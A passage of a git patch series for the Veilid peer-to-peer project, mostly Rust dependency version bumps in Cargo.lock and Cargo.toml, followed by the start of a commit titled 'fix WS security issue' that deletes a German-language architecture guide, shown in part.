@@ -4317,7 +4063,7 @@ dependencies = [ "hkdf", "lazy_static", "num", - "rand 0.8.5", + "rand", "serde", "sha2 0.9.9", "zbus", @@ -4399,6 +4145,17 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "serde-wasm-bindgen" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30c9933e5689bd420dc6c87b7a1835701810cbc10cd86a26e4da45b73e6b1d78" +dependencies = [ + "js-sys", + "serde", + "wasm-bindgen", +] + [[package]] name = "serde_cbor" version = "0.11.2" @@ -4486,20 +4243,6 @@ dependencies = [ "unsafe-libyaml", ] -[[package]] -name = "serial_test" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1c789ec87f4687d022a2405cf46e0cd6284889f1839de292cadeb6c6019506f2" -dependencies = [ - "dashmap", - "futures", - "lazy_static", - "log", - "parking_lot 0.12.1", - "serial_test_derive 0.10.0", -] - [[package]] name = "serial_test" version = "2.0.0" @@ -4511,18 +4254,7 @@ dependencies = [ "lazy_static", "log", "parking_lot 0.12.1", - "serial_test_derive 2.0.0", -] - -[[package]] -name = "serial_test_derive" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b64f9e531ce97c88b4778aad0ceee079216071cffec6ac9b904277f8f92e7fe3" -dependencies = [ - "proc-macro2", - "quote", - "syn 1.0.109", + "serial_test_derive", ] [[package]] @@ -4536,19 +4268,6 @@ dependencies = [ "syn 2.0.36", ] -[[package]] -name = "sha-1" -version = "0.9.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "99cd6713db3cf16b6c84e06321e049a9b9f699826e16096d23bbcc44d15d51a6" -dependencies = [ - "block-buffer 0.9.0", - "cfg-if 1.0.0", - "cpufeatures", - "digest 0.9.0", - "opaque-debug", -] - [[package]] name = "sha1" version = "0.10.5" @@ -4599,12 +4318,6 @@ version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "24188a676b6ae68c3b2cb3a01be17fbf7240ce009799bb56d5b1409051e78fde" -[[package]] -name = "shlex" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7fdf1b9db47230893d76faad238fd6097fd6d6a9245cd7a4d90dbd639536bbd2" - [[package]] name = "shlex" version = "1.2.0" @@ -4827,9 +4540,9 @@ checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160" [[package]] name = "sysinfo" -version = "0.28.4" +version = "0.29.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4c2f3ca6693feb29a89724516f016488e9aafc7f37264f898593ee4b942f31b" +checksum = "0a18d114d420ada3a891e6bc8e96a2023402203296a47cdd65083377dad18ba5" dependencies = [ "cfg-if 1.0.0", "core-foundation-sys", @@ -4839,19 +4552,6 @@ dependencies = [ "winapi", ] -[[package]] -name = "tempfile" -version = "3.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cb94d2f3cc536af71caac6b6fcebf65860b347e7ce0cc9ebe8f70d3e521054ef" -dependencies = [ - "cfg-if 1.0.0", - "fastrand 2.0.0", - "redox_syscall 0.3.5", - "rustix 0.38.13", - "windows-sys 0.48.0", -] - [[package]] name = "termcolor" version = "1.1.3" @@ -4973,7 +4673,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "17ed6077ed6cd6c74735e21f37eb16dc3935f96878b1fe961074089cc80893f9" dependencies = [ "backtrace", - "bytes 1.5.0", + "bytes", "libc", "mio", "num_cpus", @@ -5024,7 +4724,7 @@ version = "0.7.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "806fe8c2c87eccc8b3267cbae29ed3ab2d0bd37fca70ab622e46aaa9375ddb7d" dependencies = [ - "bytes 1.5.0", + "bytes", "futures-core", "futures-io", "futures-sink", @@ -5076,38 +4776,6 @@ dependencies = [ "winnow", ] -[[package]] -name = "tonic" -version = "0.8.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8f219fad3b929bef19b1f86fbc0358d35daed8f2cac972037ac0dc10bbb8d5fb" -dependencies = [ - "async-stream", - "async-trait", - "axum", - "base64 0.13.1", - "bytes 1.5.0", - "futures-core", - "futures-util", - "h2", - "http", - "http-body", - "hyper", - "hyper-timeout", - "percent-encoding", - "pin-project 1.1.3", - "prost", - "prost-derive", - "tokio", - "tokio-stream", - "tokio-util", - "tower", - "tower-layer", - "tower-service", - "tracing", - "tracing-futures", -] - [[package]] name = "tonic" version = "0.9.2" @@ -5117,7 +4785,7 @@ dependencies = [ "async-trait", "axum", "base64 0.21.4", - "bytes 1.5.0", + "bytes", "futures-core", "futures-util", "h2", @@ -5126,7 +4794,7 @@ dependencies = [ "hyper", "hyper-timeout", "percent-encoding", - "pin-project 1.1.3", + "pin-project", "prost", "tokio", "tokio-stream", @@ -5136,19 +4804,6 @@ dependencies = [ "tracing", ] -[[package]] -name = "tonic-build" -version = "0.8.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5bf5e9b9c0f7e0a7c027dcfaba7b2c60816c7049171f679d99ee2ff65d0de8c4" -dependencies = [ - "prettyplease", - "proc-macro2", - "prost-build", - "quote", - "syn 1.0.109", -] - [[package]] name = "tower" version = "0.4.13" @@ -5158,9 +4813,9 @@ dependencies = [ "futures-core", "futures-util", "indexmap 1.9.3", - "pin-project 1.1.3", + "pin-project", "pin-project-lite", - "rand 0.8.5", + "rand", "slab", "tokio", "tokio-util", @@ -5236,16 +4891,6 @@ dependencies = [ "tracing-subscriber", ] -[[package]] -name = "tracing-futures" -version = "0.2.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "97d095ae15e245a057c8e8451bab9b3ee1e1f68e9ba2b4fbc18d0ac5237835f2" -dependencies = [ - "pin-project 1.1.3", - "tracing", -] - [[package]] name = "tracing-journald" version = "0.3.0" @@ -5270,12 +4915,14 @@ dependencies = [ [[package]] name = "tracing-opentelemetry" -version = "0.18.0" +version = "0.21.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "21ebb87a95ea13271332df069020513ab70bdb5637ca42d6e492dc3bbbad48de" +checksum = "75327c6b667828ddc28f5e3f169036cb793c3f588d83bf0f262a7f062ffed3c8" dependencies = [ "once_cell", "opentelemetry", + "opentelemetry_sdk", + "smallvec", "tracing", "tracing-core", "tracing-log", @@ -5288,7 +4935,7 @@ version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9bc58223383423483e4bc056c7e7b3f77bdee924a9d33834112c69ead06dc847" dependencies = [ - "bindgen 0.59.2", + "bindgen", "cc", "cfg-if 1.0.0", "fnv", @@ -5339,9 +4986,9 @@ dependencies = [ [[package]] name = "trust-dns-proto" -version = "0.22.0" +version = "0.23.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4f7f83d1e4a0e4358ac54c5c3681e5d7da5efc5a7a632c90bb6d6669ddd9bc26" +checksum = "0dc775440033cb114085f6f2437682b194fa7546466024b1037e82a48a052a69" dependencies = [ "async-trait", "cfg-if 1.0.0", @@ -5350,10 +4997,10 @@ dependencies = [ "futures-channel", "futures-io", "futures-util", - "idna 0.2.3", + "idna", "ipnet", - "lazy_static", - "rand 0.8.5", + "once_cell", + "rand", "smallvec", "thiserror", "tinyvec", @@ -5364,16 +5011,17 @@ dependencies = [ [[package]] name = "trust-dns-resolver" -version = "0.22.0" +version = "0.23.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aff21aa4dcefb0a1afbfac26deb0adc93888c7d295fb63ab273ef276ba2b7cfe" +checksum = "2dff7aed33ef3e8bf2c9966fccdfed93f93d46f432282ea875cd66faabc6ef2f" dependencies = [ "cfg-if 1.0.0", "futures-util", "ipconfig", - "lazy_static", "lru-cache", + "once_cell", "parking_lot 0.12.1", + "rand", "resolv-conf", "smallvec", "thiserror", @@ -5396,7 +5044,7 @@ checksum = "d6b26cf145f2f3b9ff84e182c448eaf05468e247f148cf3d2a7d67d78ff023a0" dependencies = [ "gloo-utils 0.1.7", "serde", - "serde-wasm-bindgen", + "serde-wasm-bindgen 0.5.0", "serde_json", "tsify-macros", "wasm-bindgen", @@ -5414,25 +5062,6 @@ dependencies = [ "syn 2.0.36", ] -[[package]] -name = "tungstenite" -version = "0.11.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0308d80d86700c5878b9ef6321f020f29b1bb9d5ff3cab25e75e23f3a492a23" -dependencies = [ - "base64 0.12.3", - "byteorder", - "bytes 0.5.6", - "http", - "httparse", - "input_buffer", - "log", - "rand 0.7.3", - "sha-1", - "url", - "utf-8", -] - [[package]] name = "tungstenite" version = "0.20.0" @@ -5440,12 +5069,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e862a1c4128df0112ab625f55cd5c934bcb4312ba80b39ae4b4835a3fd58e649" dependencies = [ "byteorder", - "bytes 1.5.0", + "bytes", "data-encoding", "http", "httparse", "log", - "rand 0.8.5", + "rand", "sha1", "thiserror", "url", @@ -5532,10 +5161,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "143b538f18257fac9cad154828a57c6bf5157e1aa604d4816b5995bf6de87ae5" dependencies = [ "form_urlencoded", - "idna 0.4.0", + "idna", "percent-encoding", ] +[[package]] +name = "urlencoding" +version = "2.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "daf8dba3b7eb870caf1ddeed7bc9d2a049f3cfdfae7cb521b087cc33ae4c49da" + [[package]] name = "utf-8" version = "0.7.6" @@ -5584,7 +5219,7 @@ version = "0.2.2" dependencies = [ "arboard", "async-std", - "async-tungstenite 0.8.0", + "async-tungstenite", "cfg-if 1.0.0", "clap 4.4.3", "config", @@ -5594,7 +5229,7 @@ dependencies = [ "cursive_buffered_backend", "cursive_table_view", "data-encoding", - "directories 4.0.1", + "directories", "flexi_logger", "flume", "futures", @@ -5602,10 +5237,10 @@ dependencies = [ "indent", "json", "log", - "parking_lot 0.12.1", + "parking_lot 0.11.2", "serde", "serde_derive", - "serial_test 0.10.0", + "serial_test", "stop-token", "thiserror", "tokio", @@ -5624,7 +5259,7 @@ dependencies = [ "async-std", "async-std-resolver", "async-tls", - "async-tungstenite 0.23.0", + "async-tungstenite", "async_executors", "backtrace", "blake3", @@ -5638,15 +5273,14 @@ dependencies = [ "console_error_panic_hook", "curve25519-dalek", "data-encoding", - "directories 5.0.1", + "directories", "ed25519-dalek", "enum-as-inner", "enumset", "eyre", "flume", "futures-util", - "generic-array 0.14.7", - "getrandom 0.2.10", + "getrandom", "hex", "ifstructs", "jni", @@ -5665,7 +5299,7 @@ dependencies = [ "ndk-glue", "netlink-packet-route", "netlink-sys", - "nix 0.26.4", + "nix 0.27.1", "num-traits", "once_cell", "owning_ref", @@ -5681,9 +5315,9 @@ dependencies = [ "send_wrapper 0.6.0", "serde", "serde-big-array", - "serde-wasm-bindgen", + "serde-wasm-bindgen 0.6.0", "serde_json", - "serial_test 2.0.0", + "serial_test", "shell-words", "simplelog", "socket2 0.5.4", @@ -5737,7 +5371,7 @@ dependencies = [ "opentelemetry", "opentelemetry-otlp", "opentelemetry-semantic-conventions", - "parking_lot 0.12.1", + "parking_lot 0.11.2", "serde", "serde_json", "tokio", @@ -5767,7 +5401,7 @@ checksum = "28428a3f826ed334f995522e554d7c8c1a5a0e0a0248fc795a31022ddf436c9d" dependencies = [ "attohttpc", "log", - "rand 0.8.5", + "rand", "url", "xmltree", ] @@ -5778,7 +5412,7 @@ version = "0.2.2" dependencies = [ "ansi_term", "async-std", - "async-tungstenite 0.23.0", + "async-tungstenite", "backtrace", "cfg-if 1.0.0", "clap 4.4.3", @@ -5787,7 +5421,7 @@ dependencies = [ "console-subscriber", "ctrlc", "daemonize", - "directories 4.0.1", + "directories", "flume", "futures-util", "hostname", @@ -5797,12 +5431,12 @@ dependencies = [ "opentelemetry", "opentelemetry-otlp", "opentelemetry-semantic-conventions", - "parking_lot 0.12.1", + "parking_lot 0.11.2", "rpassword", "serde", "serde_derive", "serde_yaml", - "serial_test 0.10.0", + "serial_test", "signal-hook", "signal-hook-async-std", "stop-token", @@ -5838,7 +5472,7 @@ dependencies = [ "flume", "fn_name", "futures-util", - "getrandom 0.2.10", + "getrandom", "jni", "jni-sys", "js-sys", @@ -5847,16 +5481,16 @@ dependencies = [ "log", "ndk", "ndk-glue", - "nix 0.26.4", + "nix 0.27.1", "once_cell", "oslog", "paranoid-android", "parking_lot 0.12.1", - "rand 0.8.5", - "rand_core 0.6.4", + "rand", + "rand_core", "range-set-blaze", "send_wrapper 0.6.0", - "serial_test 2.0.0", + "serial_test", "simplelog", "static_assertions", "stop-token", @@ -5888,7 +5522,7 @@ dependencies = [ "parking_lot 0.12.1", "send_wrapper 0.6.0", "serde", - "serde-wasm-bindgen", + "serde-wasm-bindgen 0.6.0", "serde_json", "tracing", "tracing-subscriber", @@ -5938,12 +5572,6 @@ dependencies = [ "try-lock", ] -[[package]] -name = "wasi" -version = "0.9.0+wasi-snapshot-preview1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" - [[package]] name = "wasi" version = "0.11.0+wasi-snapshot-preview1" @@ -6435,7 +6063,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fb66477291e7e8d2b0ff1bcb900bf29489a9692816d79874bea351e7a8b6de96" dependencies = [ "curve25519-dalek", - "rand_core 0.6.4", + "rand_core", "serde", "zeroize", ] @@ -6480,7 +6108,7 @@ dependencies = [ "byteorder", "derivative", "enumflags2", - "fastrand 1.9.0", + "fastrand", "futures", "nb-connect", "nix 0.22.3", diff --git a/veilid-cli/Cargo.toml b/veilid-cli/Cargo.toml index 4e887b37..a60c3f1f 100644 --- a/veilid-cli/Cargo.toml +++ b/veilid-cli/Cargo.toml @@ -21,13 +21,13 @@ rt-async-std = [ rt-tokio = ["tokio", "tokio-util", "veilid-tools/rt-tokio", "cursive/rt-tokio"] [dependencies] -async-std = { version = "^1.9", features = [ +async-std = { version = "^1.12", features = [ "unstable", "attributes", ], optional = true } tokio = { version = "^1", features = ["full"], optional = true } tokio-util = { version = "^0", features = ["compat"], optional = true } -async-tungstenite = { version = "^0.8" } +async-tungstenite = { version = "^0.23" } cursive = { git = "https://gitlab.com/veilid/cursive.git", default-features = false, features = [ "crossterm", "toml", @@ -38,10 +38,10 @@ cursive_buffered_backend = { git = "https://gitlab.com/veilid/cursive-buffered-b # cursive-multiplex = "0.6.0" # cursive_tree_view = "0.6.0" cursive_table_view = "0.14.0" -arboard = "3.2.0" +arboard = "3.2.1" # cursive-tabs = "0.5.0" clap = { version = "4", features = ["derive"] } -directories = "^4" +directories = "^5" log = "^0" futures = "^0" serde = "^1" @@ -63,4 +63,4 @@ data-encoding = { version = "^2" } indent = { version = "0.1.1" } [dev-dependencies] -serial_test = "^0" +serial_test = "^2" diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index 545539bc..4fb77bdd 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -65,8 +65,8 @@ veilid-tools = { version = "0.2.2", path = "../veilid-tools", features = [ paste = "1.0.14" once_cell = "1.18.0" owning_ref = "0.4.1" -backtrace = "0.3.68" -num-traits = "0.2.15" +backtrace = "0.3.69" +num-traits = "0.2.16" shell-words = "1.1.0" static_assertions = "1.1.0" cfg-if = "1.0.0" @@ -79,14 +79,13 @@ tracing = { version = "0.1.37", features = ["log", "attributes"] } tracing-subscriber = "0.3.17" tracing-error = "0.2.0" eyre = "0.6.8" -thiserror = "1.0.47" +thiserror = "1.0.48" # Data structures enumset = { version = "1.1.2", features = ["serde"] } keyvaluedb = "0.1.0" range-set-blaze = "0.1.9" weak-table = "0.3.2" -generic-array = "0.14.7" hashlink = { package = "veilid-hashlink", version = "0.1.0", features = [ "serde_impl", ] } @@ -113,7 +112,7 @@ x25519-dalek = { version = "2.0.0", default-features = false, features = [ "zeroize", "precomputed-tables", ] } -curve25519-dalek = { version = "4.0.0", default-features = false, features = [ +curve25519-dalek = { version = "4.1.0", default-features = false, features = [ "alloc", "zeroize", "precomputed-tables", @@ -121,21 +120,21 @@ curve25519-dalek = { version = "4.0.0", default-features = false, features = [ blake3 = { version = "1.4.1" } chacha20poly1305 = "0.10.1" chacha20 = "0.9.1" -argon2 = "0.5.1" +argon2 = "0.5.2" # Network -async-std-resolver = { version = "0.22.0", optional = true } -trust-dns-resolver = { version = "0.22.0", optional = true } -enum-as-inner = "=0.5.1" # temporary fix for trust-dns-resolver v0.22.0 +async-std-resolver = { version = "0.23.0", optional = true } +trust-dns-resolver = { version = "0.23.0", optional = true } +enum-as-inner = "=0.6.0" # temporary fix for trust-dns-resolver v0.22.0 # Serialization capnp = { version = "0.18.1", default-features = false, features = [ "alloc" ] } -serde = { version = "1.0.183", features = ["derive"] } -serde_json = { version = "1.0.105" } +serde = { version = "1.0.188", features = ["derive"] } +serde_json = { version = "1.0.107" } serde-big-array = "0.5.1" json = "0.12.4" data-encoding = { version = "2.4.0" } -schemars = "0.8.12" +schemars = "0.8.13" lz4_flex = { version = "0.11.1", default-features = false, features = [ "safe-encode", "safe-decode", @@ -148,9 +147,9 @@ lz4_flex = { version = "0.11.1", default-features = false, features = [ # Tools config = { version = "0.13.3", features = ["yaml"] } bugsalot = { package = "veilid-bugsalot", version = "0.1.0" } -chrono = "0.4.26" -libc = "0.2.147" -nix = "0.26.2" +chrono = "0.4.31" +libc = "0.2.148" +nix = "0.27.1" # System async-std = { version = "1.12.0", features = ["unstable"], optional = true } @@ -170,14 +169,14 @@ keyring-manager = "0.5.0" keyvaluedb-sqlite = "0.1.0" # Network -async-tungstenite = { version = "0.23.0", features = ["async-tls"] } +async-tungstenite = { version = "0.23.0", features = [ "async-tls" ] } igd = { package = "veilid-igd", version = "0.1.0" } async-tls = "0.12.0" -webpki = "0.22.0" +webpki = "0.22.1" webpki-roots = "0.25.2" -rustls = "0.20.8" +rustls = "=0.20.9" rustls-pemfile = "1.0.3" -socket2 = { version = "0.5.3", features = ["all"] } +socket2 = { version = "0.5.4", features = ["all"] } # Dependencies for WASM builds only [target.'cfg(target_arch = "wasm32")'.dependencies] @@ -187,7 +186,7 @@ veilid-tools = { version = "0.2.2", path = "../veilid-tools", default-features = ] } # Tools -getrandom = { version = "0.2.4", features = ["js"] } +getrandom = { version = "0.2.10", features = ["js"] } # System async_executors = { version = "0.7.0", default-features = false, features = [ @@ -200,7 +199,7 @@ js-sys = "0.3.64" wasm-bindgen-futures = "0.4.37" send_wrapper = { version = "0.6.0", features = ["futures"] } tsify = { version = "0.4.5", features = ["js"] } -serde-wasm-bindgen = "0.5.0" +serde-wasm-bindgen = "0.6.0" # Network ws_stream_wasm = "0.7.4" @@ -242,9 +241,9 @@ ifstructs = "0.1.1" # Dependencies for Linux or Android [target.'cfg(any(target_os = "android", target_os = "linux"))'.dependencies] -rtnetlink = { version = "=0.13.0", default-features = false } +rtnetlink = { version = "=0.13.1", default-features = false } netlink-sys = { version = "=0.8.5" } -netlink-packet-route = { version = "=0.17.0" } +netlink-packet-route = { version = "=0.17.1" } # Dependencies for Windows [target.'cfg(target_os = "windows")'.dependencies] diff --git a/veilid-core/src/crypto/blake3digest512.rs b/veilid-core/src/crypto/blake3digest512.rs index 3acf65bc..625d5ea6 100644 --- a/veilid-core/src/crypto/blake3digest512.rs +++ b/veilid-core/src/crypto/blake3digest512.rs @@ -1,8 +1,7 @@ -use curve25519_dalek::digest::generic_array::typenum::U64; +use curve25519_dalek::digest::generic_array::{typenum::U64, GenericArray}; use curve25519_dalek::digest::{ Digest, FixedOutput, FixedOutputReset, Output, OutputSizeUser, Reset, Update, }; -use generic_array::GenericArray; pub struct Blake3Digest512 { dig: blake3::Hasher, diff --git a/veilid-core/src/intf/native/system.rs b/veilid-core/src/intf/native/system.rs index 11d9e47c..0400f6f9 100644 --- a/veilid-core/src/intf/native/system.rs +++ b/veilid-core/src/intf/native/system.rs @@ -25,7 +25,7 @@ cfg_if! { pub async fn resolver( config: config::ResolverConfig, options: config::ResolverOpts, - ) -> Result { + ) -> AsyncResolver { AsyncResolver::tokio(config, options) } @@ -62,7 +62,6 @@ cfg_if! { config::ResolverOpts::default(), ) .await - .expect("failed to connect resolver"), }; *resolver_lock = Some(resolver.clone()); diff --git a/veilid-core/src/network_manager/native/network_tcp.rs b/veilid-core/src/network_manager/native/network_tcp.rs index 45cc0267..ad93f5bf 100644 --- a/veilid-core/src/network_manager/native/network_tcp.rs +++ b/veilid-core/src/network_manager/native/network_tcp.rs @@ -33,7 +33,7 @@ impl Network { let server_config = self .load_server_config() .wrap_err("Couldn't create TLS configuration")?; - let acceptor = TlsAcceptor::from(Arc::new(server_config)); + let acceptor = TlsAcceptor::from(server_config); self.inner.lock().tls_acceptor = Some(acceptor.clone()); Ok(acceptor) } diff --git a/veilid-flutter/rust/Cargo.toml b/veilid-flutter/rust/Cargo.toml index 821e7978..722d812f 100644 --- a/veilid-flutter/rust/Cargo.toml +++ b/veilid-flutter/rust/Cargo.toml @@ -47,10 +47,10 @@ data-encoding = { version = "^2" } # Dependencies for native builds only # Linux, Windows, Mac, iOS, Android [target.'cfg(not(target_arch = "wasm32"))'.dependencies] -tracing-opentelemetry = "0.18" -opentelemetry = { version = "0.18" } -opentelemetry-otlp = { version = "0.11" } -opentelemetry-semantic-conventions = "0.10" +tracing-opentelemetry = "0.21" +opentelemetry = { version = "0.20" } +opentelemetry-otlp = { version = "0.13" } +opentelemetry-semantic-conventions = "0.12" async-std = { version = "^1", features = ["unstable"], optional = true } tokio = { version = "^1", features = ["full"], optional = true } tokio-stream = { version = "^0", features = ["net"], optional = true } diff --git a/veilid-server/Cargo.toml b/veilid-server/Cargo.toml index 028b289e..ff9a1b65 100644 --- a/veilid-server/Cargo.toml +++ b/veilid-server/Cargo.toml @@ -39,11 +39,11 @@ veilid-core = { path = "../veilid-core", default-features = false } tracing = { version = "^0", features = ["log", "attributes"] } tracing-subscriber = { version = "^0", features = ["env-filter"] } tracing-appender = "^0" -tracing-opentelemetry = "0.18" +tracing-opentelemetry = "0.21" # Buggy: tracing-error = "^0" -opentelemetry = { version = "0.18" } -opentelemetry-otlp = { version = "0.11" } -opentelemetry-semantic-conventions = "0.10" +opentelemetry = { version = "0.20" } +opentelemetry-otlp = { version = "0.13" } +opentelemetry-semantic-conventions = "0.12" async-std = { version = "^1", features = ["unstable"], optional = true } tokio = { version = "^1", features = ["full", "tracing"], optional = true } console-subscriber = { version = "^0", optional = true } @@ -53,7 +53,7 @@ async-tungstenite = { version = "^0", features = ["async-tls"] } color-eyre = { version = "^0", default-features = false } backtrace = "^0" clap = { version = "4", features = ["derive", "string", "wrap_help"] } -directories = "^4" +directories = "^5" parking_lot = "^0" config = { version = "^0", features = ["yaml"] } cfg-if = "^1" @@ -69,10 +69,10 @@ ctrlc = "^3" lazy_static = "^1" bugsalot = { package = "veilid-bugsalot", version = "0.1.0" } flume = { version = "^0", features = ["async"] } -rpassword = "^6" +rpassword = "^7" hostname = "^0" stop-token = { version = "^0", default-features = false } -sysinfo = { version = "^0.28.4", default-features = false } +sysinfo = { version = "^0.29.10", default-features = false } wg = "0.3.2" [target.'cfg(windows)'.dependencies] @@ -89,4 +89,4 @@ nix = "^0" tracing-journald = "^0" [dev-dependencies] -serial_test = "^0" +serial_test = "^2" diff --git a/veilid-tools/Cargo.toml b/veilid-tools/Cargo.toml index 726826a1..9043dc8a 100644 --- a/veilid-tools/Cargo.toml +++ b/veilid-tools/Cargo.toml @@ -40,7 +40,7 @@ log = { version = "0.4.20" } eyre = "0.6.8" static_assertions = "1.1.0" cfg-if = "1.0.0" -thiserror = "1.0.47" +thiserror = "1.0.48" futures-util = { version = "0.3.28", default-features = false, features = [ "alloc", ] } @@ -49,7 +49,7 @@ once_cell = "1.18.0" stop-token = { version = "0.7.0", default-features = false } rand = "0.8.5" rand_core = "0.6.4" -backtrace = "0.3.68" +backtrace = "0.3.69" fn_name = "0.1.0" range-set-blaze = "0.1.9" flume = { version = "0.11.0", features = ["async"] } @@ -66,10 +66,10 @@ futures-util = { version = "0.3.28", default-features = false, features = [ "std", "io", ] } -chrono = "0.4.26" +chrono = "0.4.31" -libc = "0.2.147" -nix = "0.26.2" +libc = "0.2.148" +nix = { version = "0.27.1", features = [ "user" ] } # Dependencies for WASM builds only [target.'cfg(target_arch = "wasm32")'.dependencies] diff --git a/veilid-wasm/Cargo.toml b/veilid-wasm/Cargo.toml index 87801681..b857d56a 100644 --- a/veilid-wasm/Cargo.toml +++ b/veilid-wasm/Cargo.toml @@ -35,7 +35,7 @@ futures-util = { version = "^0" } data-encoding = { version = "^2" } gloo-utils = { version = "^0", features = ["serde"] } tsify = { version = "0.4.5", features = ["js"] } -serde-wasm-bindgen = "0.5.0" +serde-wasm-bindgen = "0.6.0" [dev-dependencies] wasm-bindgen-test = "^0" From 1f5867890d2dd1d04c55f6ffc15dd70559ccfb79 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 17 Sep 2023 13:32:02 -0400 Subject: [PATCH 44/47] fix WS security issue --- docs/guide/guide-DE.md | 128 --------- docs/guide/guide.css | 28 -- docs/guide/guide.html | 255 ------------------ docs/guide/guide.md | 126 --------- .../src/network_manager/native/protocol/ws.rs | 80 +++++- 5 files changed, 69 insertions(+), 548 deletions(-) delete mode 100644 docs/guide/guide-DE.md delete mode 100644 docs/guide/guide.css delete mode 100644 docs/guide/guide.html delete mode 100644 docs/guide/guide.md diff --git a/docs/guide/guide-DE.md b/docs/guide/guide-DE.md deleted file mode 100644 index cc89e262..00000000 --- a/docs/guide/guide-DE.md +++ /dev/null @@ -1,128 +0,0 @@ -# Frühe A Dokumente - -# Bitte nicht öffentlich teilen - -# Veilid Architektur Leitfaden - -- [Aus der Umlaufbahn](#aus-der-umlaufbahn) -- [Aus der Vogelperspektive](#vogelperspektive) - - [Peer Netzwerk zum Datenspeichern](#peer_netzwerk_zur_datenspeicherung) - - [Block Speicher](#block-speicher) - - [Key-Value Speicher](#key-value-speicher) - - [Datenstrukturierung](#datenstrukturierung) - - [Peer- und Benutzeridentät](#peer-und-benutzeridentität) -- [Am Boden](#am_boden) - - [Peer Netzwerk im Detail](#peer-netzwerk-im-detail) - - [Benutzerprivatsphäre](#benutzerprivatsphäre) - - [Block Speicher im Detaail](#block-store-im-detail) - - [Key-Value Speicher im Detail](#key-value-speicher-im-detail) - -## Aus der Umlaufbahn - -Als Erstes wird die Frage behandelt "Was ist Veiled?". Die allgemeinste Beschreibung ist, dass Veilid ein Peer-to-Peer-Netzwerk zum Teilen von verschiedenen Arten von Daten ist. - -Veilid wurde mit der Idee im Hinterkopf entworfen, dass jeder Benutzer seine eigenen Inhalte im Netzwerk speichern kann. Aber es ist auch möglich diese mit anderen ausgewählten Leuten zu teilen oder (wenn gewollt) auch mit gesamten Rest der Welt. - -Der primäre Zweck des Veild Netzwerks ist es Infrastruktur für eine besondere Art von geteilten Daten zur Verfügung zu stellen: Social Medien in verschiedensten Arten. Dies umfasst leichtgewichtige Inhalte wie Twitters/Xs Tweets oder Mastodons Toots, mittleschwere Inhalte wie Bilder oder Lieder und schwergewichtige Inhalte wie Videos. Es ist eben so beabsichtigt Meta-Inhalte (wie persönliche Feeds, Antworten, private Nachrichten und so weiter) auf Basis von Veilid laufen zu lassen. - -* * * - -## Vogelperspektive - -Nachdem wir nun wissen was Veilid ist und was in Veilid abgelegt werden sollte, ist es nun an der Zeit die Teile zu behandeln, die erklären wie Veilid dies ermöglicht. Natürlich nicht super detailiert (das kommt später), sondern her auf eine mittleren Detailgrad so dass alles auf einmal zur gleichen Zeit vom Leser verstanden werden kann. - -### Peer Netzwerk zur Datenspeicherung - -Auf unterster Ebene ist Veilid ein Netzwerk aus "Peers", die miteinander über das Internet kommunizieren. Peers senden sich gegenseitig Nachrichten (sogenannte Remote Procedure Calls) bezüglich der im Netzwerk ge- bzw. zu speichernden Daten und auch Nachrichten über das Netzwerk selbst. Zum Beispiel, kann eine Peer einen Anderen nach einer Datei fragen oder nach Informationen fragen, welche anderen Peers in Netzwerk bekannt sind/existieren. - -Die Daten, die im Netzwerk gespeichert sind, werden in zwei Arten von Daten unterteilt: Datei-artige Daten, die üblicherweise groß sind und textartige Daten, die üblicherweise klein sind. Jede Art wird in einem eigenen Untersystem gespeichert, dass das so gestaltet wurde, dass es für diese Art von Daten optimal ist. - -### Block Speicher - -Datei-artige Inhalte werden in einem inhaltsaddressierbaren Block Speicher abgelegt. Jeder Block ist einfach ein Haufen (Blob) aus irgendwelchen Daten (z.B. ein JPEG oder ein MP4) beliebiger Größe. Die Prüfsumme (Hash) eines Block dient als eindeutige ID für diesen Block und kann von anderen Peers benutzt werden, um diesen Block abzufragen. Technisch gesehen können auch textuelle Daten als Block gespeichert werden und das sollte genau dann passieren, wenn die textuelle Daten als eine Art Dokument oder Datei eines bestimmten Typs verstanden werden. - -### Key-Value Speicher - -Kleinere und kurzlebigere textuelle Inhalte werden in einem Key-Value Speicher gespeichert (KV Speicher).Sachen wie z.B. Status Updates, Blogeinträge oder Benutzerbeschreibungen usw. sind alle dafür gedachte in diesem Teil des Datenspeichers gespeichert zu werden. KV Speicher Daten sind nicht einfach "im Veild Netzwerk", sondern gehören Benutzern und (werden auch von diesen gesteuert/kontrolliert). Sie werden über einen beliebigen vom Eigentümer der Daten gewählten Namen identifiziert. Jede Gruppe von Benutzern kann Daten hinzufügen, aber man kann nur die Daten ändern, die man selbst hinzugefügt hat. - -Nehmen wir 2 beispielhafte Benutzer Boone und Marquette: Boones Benutzerbeschreibung und ihren Blogpost mit dem Titel 